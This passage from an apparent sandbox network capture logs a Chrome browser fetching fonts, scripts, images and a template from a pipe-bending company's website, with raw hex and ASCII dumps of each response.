b6 b6 37 37 37 3c 3c 3c ad ad ad a2 a2 a2 8d 8d 8d d1 d1 d1 5b 5b 5b 96 96 96 48 48 48 77 77 77 cc cc cc 61 61 61 52 52 52 14 14 14 ac ac ac d1 d1 d1 e2 e2 e2 7c 7c 7c c2 c2 c2 f4 f4 f4 17 17 17 5d 5d 5d 7f 7f 7f 4f 4f 4f 77 77 77 ec ec ec 94 94 94 72 72 72 44 44 44 b2 b2 b2 ce ce ce 96 96 96 aa aa aa 61 61 61 c3 c3 c3 a2 a2 a2 2f 2f 2f 7c 7c 7c 8f 8f 8f df df df cf cf cf e0 e0 e0 f8 f8 f8 8a 8a 8a 5b 5b 5b 8e 8e 8e 9a 9a 9a a7 a7 a7 aa aa aa 11 11 11 f8 f8 f8 c2 c2 c2 66 66 66 cb cb cb a0 a0 a0 cd cd cd 7a 7a 7a 55 55 55 5f 5f 5f 8a 8a 8a dd dd dd 48 48 48 c1 c1 c1 c4 c4 c4 e7 e7 e7 b0 b0 b0 c8 c8 c8 25 25 25 d6 d6 d6 db db db e0 5f 76 1f 00 00 00 cc 74 52 4e 53 00 08 07 09 03 05 06 59 01 02 0a 0c 04 0d 0e 0b 0f 11 10 12 14 15 13 16 17 19 18 1d 1c 1b 1f 1e 21 20 1a 58 58 58 22 57 23 25 24 59 56 57 26 57 55 52 2c 50 4f 3a 27 1b 19 4a 29 4c 21 44 3c 50 53 51 26 44 26 38 3c 2f 3d 53 52 36 40 31 39 4b 4f 4b 48 2b 23 33 4d 49 34 28 51 40 40 44 43 43 4b 55 24 4a 54 34 24 30 1b 28 2e 36 1a 41 22 49 23 4f 3b 44 47 28 25 18 20 17 31 50 46 35 39 2c 3a 1f 4d 2c 2a 42 1e 22 30 3f 36 48 2e 36 29 31 47 17 2b 24 41 43 50 27 2e 49 16 1e 20 30 2d 45 18 31 2d 35 4a 31 33 22 38 2c 2b 29 27 49 3b 4b 4d 30 1c 3b 3d 40 2d 0f 53 3b 1e 40 2b 24 32 21 20 39 3d 2e 36 23 42 3e 46 22 32 41 38 ea 13 9e 00 00 06 4a 49 44 41 54 68 de ad 5a f7 57 14 57 14 de d9 d9 d9 2c 5b 66 77 66 76 66 1b 5b 13 08 4b 93 66 10 01 11 62 c3 82 25 96 80 41 11 10 ec 46 63 89 2d 9a 18 bb 12 4b 7a ef bd f7 de 7b fe a9 bc 37 05 bd 4b 72 ce bb 4f e6 97 3d 70 ce 7c e7 bb f7 bb ef 7e f7 bd 79 2e d7 ff 3f 3e 9f af ac ac cc 73 fd 21 7f 91 ff b9 30 8f 89 e1 f1 04 25 c9 6b 3d 92 14 a4 40 38 18 02 e2 f1 10 04 b7 20 88 f4 11 04 37 41 22 38 18 18 1b c4 2d fa c3 81 40 88 3c Data Ascii: PNGIHDREdPLTE666vvv///nnnKKK^^^ggg%%%000%%%JJJ???hhhxxx:::RRR}}}ppp,,,YYYppp\\\JJJggg777<<<[[[HHHwwwaaaRRR\|\|\|]]]OOOwwwrrrDDDaaa///\|\|\|[[[fffzzzUUU___HHH%%%_vtRNSY! XXX"W#%$YVW&WUR,PO:'J)L!D<PSQ&D&8</=SR6@19KOKH+#3MI4(Q@@DCCKU$JT4$0(.6A"I#O;DG(% 1PF59,:M,*B"0?6H.6)1G+$ACP'.I 0-E1-5J13"8,+)'I;KM0;=@-S;@+$2! 9=.6#B>F"2A8JIDAThZWW,[fwfvf[Kfb%AFc-Kz{7KrO=p\|~y.?>s!0%k=@8 7A"8-@<
Apr 18, 2024 23:05:22.423930883 CEST	398	OUT	GET /styles/fonts/UniveConObl.woff HTTP/1.1 Host: www.pipebending.com Connection: keep-alive Origin: http://www.pipebending.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Referer: http://www.pipebending.com/styles/145ac2e7.app.css Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Apr 18, 2024 23:05:22.568916082 CEST	1289	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:22 GMT Server: Apache Last-Modified: Sat, 12 Aug 2017 18:26:32 GMT ETag: "de0a25-46c8-5569291a0c600" Accept-Ranges: bytes Content-Length: 18120 Vary: Accept-Encoding Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: font/woff Data Raw: 77 4f 46 46 4f 54 54 4f 00 00 46 c8 00 0b 00 00 00 00 72 24 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 46 46 20 00 00 01 08 00 00 3d 2b 00 00 62 f7 f6 16 a7 54 46 46 54 4d 00 00 3e 34 00 00 00 1a 00 00 00 1c 67 3e c7 38 47 44 45 46 00 00 3e 50 00 00 00 1e 00 00 00 20 01 12 00 04 4f 53 2f 32 00 00 3e 70 00 00 00 56 00 00 00 60 5a a9 1d b7 63 6d 61 70 00 00 3e c8 00 00 02 69 00 00 02 f0 c6 a4 20 75 68 65 61 64 00 00 41 34 00 00 00 34 00 00 00 36 01 fc 5a 39 68 68 65 61 00 00 41 68 00 00 00 20 00 00 00 24 07 b5 02 af 68 6d 74 78 00 00 41 88 00 00 01 f6 00 00 03 94 9f c1 4a 85 6d 61 78 70 00 00 43 80 00 00 00 06 00 00 00 06 00 e5 50 00 6e 61 6d 65 00 00 43 88 00 00 03 29 00 00 06 c9 cb 93 24 78 70 6f 73 74 00 00 46 b4 00 00 00 13 00 00 00 20 ff 87 00 38 78 9c bd 7c 07 74 54 c5 1b ef b7 69 2c 9b 42 09 1b 3a 84 de 7b 07 81 a1 77 08 1d 01 51 aa a0 48 87 48 51 2f 22 02 5e 41 ac 14 11 50 50 ac 60 01 41 05 b9 12 41 82 18 9a 34 43 09 bd 4b 67 6e b8 81 79 bf 6f ee 6e 08 45 fd 9f f7 ce 79 1c ce ee 66 ee f4 f9 ca ef 2b 73 3d 14 16 46 1e 8f 27 7f f7 11 c3 26 0c 1e 33 b6 52 b3 91 23 06 0d 1e 31 76 f0 a0 4e 03 86 0f 1b 3d 7e 30 79 42 c8 43 d5 ed 1c 64 17 f4 d8 85 42 ec c2 a1 76 de b0 0a 51 a1 49 51 61 4e 13 67 fc ed f5 b7 47 87 17 f2 64 e4 28 44 94 b3 50 e8 e6 5c 85 a8 5e a1 ee 2f e5 a6 50 b4 f3 8c f3 cc f5 cc 8b ef 36 74 70 fc a0 61 4f 0f 1b d7 7f f8 f0 89 f1 83 47 0c 1c 39 68 f0 a0 f8 e7 fa 0f 1c 3a 6c c4 e0 f8 31 83 fb 0f ea 3f 60 f8 e0 f8 91 e3 c7 0d e7 82 41 fd c7 f5 8f 1f 32 72 4c fc a8 31 23 07 8d 1f 38 6c c4 d3 f1 e3 86 0e f6 c5 77 9b 38 6a f0 90 fe 03 07 8f e5 07 13 86 71 1f fd f1 bb ff 98 71 f1 23 87 c4 4f 1c 39 7e 4c fc f0 fe 63 07 73 bb 61 23 c6 e1 7b d8 d8 f8 81 23 47 4d 1c 33 ec e9 a1 e3 50 b9 ec c0 72 f1 d5 ea d5 ad e6 8b 6f 3f 6c c4 c8 71 e8 2d be d9 c8 e7 46 f5 1f 31 b1 72 7c 93 e1 c3 e3 75 bd b1 98 0f fa 98 30 78 50 65 cc 1b 3d e8 d9 e0 1b 53 e0 71 47 0d 1e 33 6e 22 8f 17 ec c3 17 ec a4 62 7c ff 11 bc aa 89 f1 78 10 3f 80 17 e6 2e 60 f0 a0 8a f1 e3 c7 f2 e7 a0 61 63 47 0d ef 3f 91 7f 3e 37 72 d0 b0 21 c3 02 85 03 87 8f c4 f3 f8 91 63 7c f1 e3 c6 f4 1f 31 76 c8 e0 31 63 f0 77 e2 b0 71 43 b1 29 7a e8 c1 cf 8f c2 c4 c6 c6 27 8e 19 36 6e dc e0 11 f1 fd 47 f1 26 f4 1f 9e 75 2a f7 96 13 38 cd f8 5a 75 e2 33 0f 34 3e 70 a2 81 67 84 7f 1e 0a a1 50 0a a3 70 8a a0 6c 34 94 b2 93 8f 22 29 8a a2 29 86 72 50 4e ca 45 b9 29 96 f2 90 9f e2 28 2f e5 a3 fc 54 80 0a 52 21 2a 4c 45 a8 28 c5 53 31 2a 4e 25 a8 24 95 a2 d2 54 86 ca 52 39 2a 4f 15 a8 22 55 a2 ca 54 85 aa 52 35 aa 4e 35 a8 26 d5 a2 da 54 87 ea 52 3d aa 4f 0d e8 31 6a 48 8d a8 31 09 9a 42 4d a9 19 35 a7 16 d4 92 5a 51 6b 6a 43 6d a9 1d b5 a7 0e d4 91 3a 51 02 75 a6 2e d4 95 ba 51 77 ea 41 3d a9 17 3d 4e bd a9 0f f5 a5 27 a8 1f 3d 49 4f 51 7f 1a 40 83 c8 a2 21 74 98 3e 27 93 9e a1 79 f4 31 19 f4 21 2d a2 e5 f4 19 fd 46 63 69 0c 9d a4 f7 e8 0d 7a 9e e6 d0 3b b4 85 26 d3 4a fa 82 be a4 af e9 2b 5a 45 af d1 37 b4 86 be a5 ef 68 35 fd 40 df d3 5a 5a 47 0b e9 47 fa Data Ascii: wOFFOTTOFr$CFF =+bTFFTM>4g>8GDEF>P OS/2>pV`Zcmap>i uheadA446Z9hheaAh $hmtxAJmaxpCPnameC)$xpostF 8x\|tTi,B:{wQHHQ/"^APP`AA4CKgnyonEyf+s=F'&3R#1vN=~0yBCdBvQIQaNgGd(DP\^/P6tpaOG9h:l1?`A2rL1#8lw8jqq#O9~Lcsa#{#GM3Pro?lq-F1r\|u0xPe=SqG3n"b\|x?.`acG?>7r!c\|1v1cwqC)z'6nG&u8Zu34>pgPpl4"))rPNE)(/TR!LE(S1N%$TR9O"UTR5N5&TR=O1jH1BM5ZQkjCm:Qu.QwA==N'=IOQ@!t>'y1!-Fciz;&J+ZE7h5@ZZGG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49719	208.109.76.254	80	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:05:21.554424047 CEST	337	OUT	GET /scripts/82c74ff8.scripts.js HTTP/1.1 Host: www.pipebending.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Referer: http://www.pipebending.com/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Apr 18, 2024 23:05:21.700169086 CEST	1289	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:21 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Last-Modified: Sat, 12 Aug 2017 18:25:18 GMT ETag: "de0a13-442e-556928d379f80-gzip" Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 4792 Keep-Alive: timeout=5 Content-Type: application/javascript Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 5c eb 72 db 46 96 7e 95 1e 54 c6 91 2a 20 44 29 71 6c d3 96 33 32 65 27 9e f8 a2 b1 94 b8 b6 bc ae ad 26 d0 24 7b 04 a0 11 5c 48 71 54 aa 9a d7 d8 1f fb 0e fb 0c fb 28 f3 24 f3 9d d3 8d 0b 45 52 92 6d c5 e5 d9 9a 3f 16 d0 e8 3e f7 3b 40 7b 55 a1 44 51 e6 3a 2c bd 87 32 9d 54 b1 cc 83 c4 44 55 ac b6 3c 2c 67 b1 3a 3c c8 32 cf 7f e7 55 3a c8 4d 55 aa dc f3 bd 74 32 34 e6 54 ab 82 af df a8 c2 54 79 a8 f8 e6 58 a6 ba d4 7f b3 37 07 a9 4e 64 49 d7 13 63 26 b1 ea 25 32 b3 67 8e 0e 9f fd aa d5 1c d0 de 6f 07 a1 49 c7 7a b2 f5 ce fb aa 28 b1 fd 28 37 33 1d 31 a2 af aa 3c 7e c3 58 db c5 71 95 86 a5 36 e9 96 f4 47 db e7 32 e0 33 5b 9e 24 32 cf b1 7f e0 ed 78 7e a9 cb 58 0d bc 9f 4c 02 ec 91 2a 42 f0 42 87 06 de 09 73 25 0e c5 91 ce 94 78 a2 d2 48 a7 13 cf 1f 99 68 f1 3c 1a 78 53 3e 31 03 6d c5 e0 7c aa 24 50 0e ce 4b 95 64 31 b0 fc 42 d0 f9 d9 4e 68 92 c4 a4 3b 76 47 50 66 71 30 2d 93 d8 bb f0 c1 4c a9 d2 f2 aa 43 6e 4b f7 d4 d8 98 f2 6a 4c 76 47 e7 cc c5 c5 76 87 f7 20 cb a1 b6 b0 2c 7a 85 ca 67 3a 24 dd 58 69 ac 79 e0 a4 73 e4 9e 88 3b e2 b8 79 76 bd b0 44 0d 51 c8 34 12 35 54 11 4b f7 54 4e 54 2b cf 35 d8 9d 70 3d 27 86 3f 79 6b d9 5e 39 68 d9 66 f9 e6 26 8e 21 ad 86 81 9a fa 61 99 93 30 3d 99 e7 66 de 4b e5 ec 4f eb 25 b3 16 a1 4e c3 b8 02 f7 3b cd e9 5a 39 5e 51 8d e8 5e 4f 24 89 e5 a3 80 ae ec ef 20 b8 4e 93 81 4e 69 01 a8 1b 0b ef ac 6c 56 a6 e8 89 e7 ed be df 5f b1 f4 68 18 cb a2 18 78 1d fa 3e 52 dd 2d 8b b7 a7 f8 8e 20 3f cc 04 ae d5 50 68 e2 a8 37 aa 83 89 53 d2 f2 e2 95 7a 1a 62 6b 1b 8c 3e ab aa 96 a9 fc 58 6d 75 a1 dc a2 c2 96 88 bb 65 9d 21 ef 61 a1 ca 65 dc 68 ac bb 74 a5 be 8e 3b 1b 3f ab b6 ba 14 7e ac ae 5a 18 b7 a8 a9 0e 61 b7 ee 5b 08 bb 4b 6e e5 ee af f1 28 b7 eb 33 3b 93 c3 fa f1 7e c4 00 6e d5 85 2c 49 b7 ac 15 19 45 9a 64 2a e3 95 8a 63 67 ed b3 2b b5 75 d0 9c f8 ac a5 48 47 73 6b 69 fe 58 2d ae 01 76 8b 1a 5d 47 ea 27 69 17 25 66 26 d3 45 0f a8 c6 3a 56 b5 1e 57 96 9d 0a 87 76 5d 1c d5 eb b7 ac a8 15 bc 37 53 c3 a5 63 4d f5 b6 2c ce cb c0 3f 49 70 a5 0a a7 a9 89 cd 44 87 50 86 4e 53 33 93 dd 3a 6d f3 f3 cf 24 ca cd 04 dc 4c a6 9b ce 6f 10 ee 46 74 9f 24 e5 df 2a 19 eb 72 d1 83 9f 22 bf a4 61 63 a0 6b 1e 7c 26 b9 ae c1 7c 33 81 ae 1c dc 20 c9 55 04 9f e6 e1 32 57 2a 6f 22 74 73 fb b9 3c ba c6 77 43 4f b6 db 37 79 b0 03 f6 89 21 2f 2d 65 58 f6 aa 56 26 9d 95 cf 16 e8 5a 94 37 8d 71 f5 89 35 f9 64 68 1f fe b2 21 91 74 b0 7d b0 e8 fc 51 30 9f aa 74 cb f3 7c 6f c7 db be 78 bf 1d e4 55 4a 23 9b d8 84 2e a2 78 5f e5 c6 94 c7 a1 c9 d4 e5 29 cd 28 f8 0a 97 6e be 33 9c ca 74 a2 8e 4b 99 97 4b fb 42 da c7 92 df 0f ed 5f 60 ed 48 1c ab 9d 3b 3c b3 62 c4 b2 bd 70 2b 9c cf dd 22 5f 5f 10 b9 fe 15 d3 2d 9e 40 81 b4 b4 dc f2 8e 9f 9f 3c fd af 57 07 bf c2 2a 34 64 54 0c de 9d a7 32 d9 34 2c b1 e5 ce 9a c2 Data Ascii: \rF~T* D)ql32e'&${\HqT($ERm?>;@{UDQ:,2TDU<,g:<2U:MUt24TTyX7NdIc&%2goIz((731<~Xq6G23[$2x~XLBBs%xHh<xS>1m\|$PKd1BNh;vGPfq0-LCnKjLvGv ,zg:$Xiys;yvDQ45TKTNT+5p='?yk^9hf&!a0=fKO%N;Z9^Q^O$ NNilV_hx>R- ?Ph7Szbk>Xmue!aeht;?~Za[Kn(3;~n,IEdcg+uHGskiX-v]G'i%f&E:VWv]7ScM,?IpDPNS3:m$LoFt$r"ack\|&\|3 U2Wo"ts<wCO7y!/-eXV&Z7q5dh!t}Q0t\|oxUJ#.x_)(n3tKKB_`H;<bp+"__-@<W*4dT24,
Apr 18, 2024 23:05:21.700634956 CEST	1289	IN	Data Raw: a2 a8 46 90 5f 73 b8 d3 86 6f 38 d2 e9 e8 2f 7c 77 6a b9 29 dc 74 70 a9 45 6a ce 76 1b 94 4d 27 3b 25 7b 07 a7 2b 60 37 a3 b3 1b 9a 13 6b 4b b7 4d a7 d7 95 2e 17 ef 3b d8 2f 39 5c 5d f1 2f e7 ec 66 ff 49 37 df 88 e7 9d f4 66 0f 6e cc 47 0d 84 bf Data Ascii: F_so8/\|wj)tpEjvM';%{+`7kKM.;/9\]/fI7fnG8+@n:9-p?/`euld.&W-1S.;;t[%rNg(UQNN% NM^.-1XB&2Sx=~kS{\|rQdcmcF&s*
Apr 18, 2024 23:05:21.700653076 CEST	1289	IN	Data Raw: 94 28 b5 86 7a 6c 17 1a 97 0b 0d 1a f6 82 33 3a 6a 2a 4d 15 5e 66 e2 05 d4 06 db 4a a9 c0 82 84 3b 00 b7 74 fa 57 6b de 50 0b 0c 93 9c 51 c6 63 d4 33 10 fd b6 2f f8 83 0b 71 82 e2 46 cc 73 99 d1 f3 62 0a 39 9f 8a 22 56 a8 a9 40 ca f0 32 4a 61 32 Data Ascii: (zl3:jM^fJ;tWkPQc3/qFsb9"V@2Ja2/5Qgh+IiYelQsScvz:IFubSg;#E+d.o#\cowr5w*~(%Lz{xpf?3F,Se
Apr 18, 2024 23:05:21.700787067 CEST	1285	IN	Data Raw: 8f 9e 2d a8 3b c8 5c 97 5c 2a 49 4d 28 97 93 68 5e 6d b4 88 e5 c8 e4 34 14 73 6f 8c 78 a0 d5 2b 73 fc 6b 27 50 6d 82 ab 33 da c1 ea 94 d5 6f c7 a9 0d 75 23 35 01 f2 f6 65 5b ad 1d 28 87 c2 3d c5 6f 37 7d 35 aa 48 b1 8a 16 1a 77 15 8c 2f b6 91 3a Data Ascii: -;\\*IM(h^m4sox+sk'Pm3ou#5e[(=o7}5Hw/:o,87 ~TvMu9k:cprEz_04opu7k0_RyL/}TY-TP-$ZiNU@&agY(SAK"URCWE4WA
Apr 18, 2024 23:05:22.084074020 CEST	369	OUT	GET /views/common/content.tpl.html HTTP/1.1 Host: www.pipebending.com Connection: keep-alive Accept: application/json, text/plain, / User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Referer: http://www.pipebending.com/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Apr 18, 2024 23:05:22.228857994 CEST	528	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:22 GMT Server: Apache Last-Modified: Sat, 12 Aug 2017 18:25:21 GMT ETag: "de0a90-125-556928d656640-gzip" Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 209 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html Data Raw: 1f 8b 08 00 00 00 00 00 00 03 55 8f 3d 6e c3 30 0c 85 af 22 a8 73 ac 26 b3 ac a1 bd 40 b7 20 28 3a 50 36 23 b1 90 29 43 3f c9 10 e4 ee 65 81 04 88 07 72 20 df fb f8 68 67 ba a8 29 41 ad a3 fe ed 8b cf ad 64 d6 ce be 8c 4b be ca 20 ee dd 07 f2 4c 1c 54 8b 68 7d 71 5f b9 56 f2 94 a8 11 56 6b 44 60 e3 e1 69 4a 08 b3 76 a7 dc 55 45 54 fe e1 9c 22 a4 84 1c b0 0e ff 84 23 6e b6 eb 2b 70 10 e2 61 93 c3 f7 d6 32 ab 29 73 23 ee 28 99 56 67 41 c5 82 e7 51 9b b7 db 8d e1 f2 fd fe 33 f4 92 ee 77 ed 3e 1f 3a 4b 4b 50 b5 4c a3 a6 05 e4 b2 81 22 1f ed 0a 85 d8 86 95 83 56 90 da a8 05 67 40 4a 98 46 8e 6e fa 1f 54 0e ee 5b 25 01 00 00 Data Ascii: U=n0"s&@ (:P6#)C?er hg)AdK LTh}q_VVkD`iJvUET"#n+pa2)s#(VgAQ3w>:KKPL"Vg@JFnT[%
Apr 18, 2024 23:05:22.242996931 CEST	420	OUT	GET /images/background/home.jpg HTTP/1.1 Host: www.pipebending.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Referer: http://www.pipebending.com/styles/145ac2e7.app.css Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Apr 18, 2024 23:05:22.387998104 CEST	1289	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:22 GMT Server: Apache Last-Modified: Thu, 10 Dec 2020 19:59:02 GMT ETag: "de09e3-5194b-5b6219b770d80" Accept-Ranges: bytes Content-Length: 334155 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: image/jpeg Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 48 00 48 00 00 ff e1 00 a2 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 06 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 56 01 1b 00 05 00 00 00 01 00 00 00 5e 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 15 00 00 00 66 87 69 00 04 00 00 00 01 00 00 00 7c 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 50 69 78 65 6c 6d 61 74 6f 72 20 50 72 6f 20 32 2e 30 2e 31 00 00 00 02 a0 02 00 04 00 00 00 01 00 00 06 40 a0 03 00 04 00 00 00 01 00 00 02 5c 00 00 00 00 ff e1 09 99 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 58 4d 50 20 43 6f 72 65 20 36 2e 30 2e 30 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 3e 20 3c 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 20 72 64 66 3a 61 62 6f 75 74 3d 22 22 20 78 6d 6c 6e 73 3a 78 6d 70 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 22 20 78 6d 70 3a 4d 65 74 61 64 61 74 61 44 61 74 65 3d 22 32 30 32 30 2d 31 32 2d 31 30 54 31 39 3a 35 38 3a 32 39 5a 22 20 78 6d 70 3a 43 72 65 61 74 6f 72 54 6f 6f 6c 3d 22 50 69 78 65 6c 6d 61 74 6f 72 20 50 72 6f 20 32 2e 30 2e 31 22 2f 3e 20 3c 2f 72 64 66 3a 52 44 46 3e 20 3c 2f 78 3a 78 6d 70 6d 65 74 61 3e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: JFIFHHExifMM*V^(1fi\|HHPixelmator Pro 2.0.1@\http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmp:MetadataDate="2020-12-10T19:58:29Z" xmp:CreatorTool="Pixelmator Pro 2.0.1"/> </rdf:RDF> </x:xmpmeta>
Apr 18, 2024 23:05:22.388026953 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
Apr 18, 2024 23:05:22.388079882 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
Apr 18, 2024 23:05:22.388107061 CEST	1289	IN	Data Raw: 97 6f f3 d7 3d 69 1a f7 f5 fe bb 7f 5d f7 16 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 1b 81 90 40 39 ff 00 3d 7e 9f 5e 7a e1 b1 f2 82 e5 57 4f af f5 fd 6d ae fa 58 52 cc dd 4e 30 7e bf d1 47 e4 0e 7d b1 f3 37 26 f7 7f a7 f5 fd 77 27 91 7f 5d Data Ascii: o=i]((@9=~^zWOmXRN0~G}7&w']m>o10<rx?4z51/.\|=>-P@\|VjF:&y6!'._xbF<{^*T[x5C^.RU
Apr 18, 2024 23:05:22.388221979 CEST	1289	IN	Data Raw: f1 c7 41 8f e6 18 03 42 14 77 6f 9c 88 fc be 24 c0 cf f8 1e fe f9 e9 dc 9a 00 92 3f bf fe af cb 1c f1 fe 73 d7 eb db f1 60 01 d3 f8 fc bf f3 f5 fe 9b 7d bd a8 02 9b c7 b3 fe 59 f3 f9 7f 8f f3 3f 87 45 00 ae eb f3 99 3f 20 7e bf 4f d7 8f f7 78 05 Data Ascii: ABwo$?s`}Y?E? ~OxI;u{=AItr?#O??(~I@tOt^\|?AAoPG9^nLZ\|?=
Apr 18, 2024 23:05:22.388238907 CEST	1289	IN	Data Raw: e6 7f a7 d3 9a cc a8 ab 2d 77 6f f1 7f 37 fa 6b d3 54 3a 82 82 80 0a 00 44 23 93 80 c7 b0 3c 01 c7 e7 f9 1f cc 9a 6a c9 ab ad 3b 7f 56 fe bb ec 43 4e 5e 5e 5d bf 18 dd f9 df ee fb 4b ea 7b ff 00 9e a6 8b bf eb af af 7f 9f ea 2e 4d 3c fd 2c be fe Data Ascii: -wo7kT:D#<j;VCN^^]K{.M<,w'(s;[dtZ{(x\?1?jMuZ+{j.][#_O5_{i((A8?~A%/;%o
Apr 18, 2024 23:05:22.388257027 CEST	1289	IN	Data Raw: 0a 00 fd 64 f8 2d f1 c1 35 2b 9b 7b 47 93 12 47 67 00 78 ff 00 5f 45 ea 7d c7 e4 7e 5e ba 55 7f cb 57 ff 00 03 6e db 7a 35 f0 f8 d8 ac 2f 9f fc 1f fc 96 d6 e9 ad fb e8 ee a5 f7 86 87 ab a5 e4 31 dc c3 24 3f bc ff 00 96 7f 53 e9 9e df 5f cf 96 5f Data Ascii: d-5+{GGgx_E}~^UWnz5/1$?S__R75y?3yy<{ZNj?Ks4KZ?O:`zM=~g9ew?p1cqF?
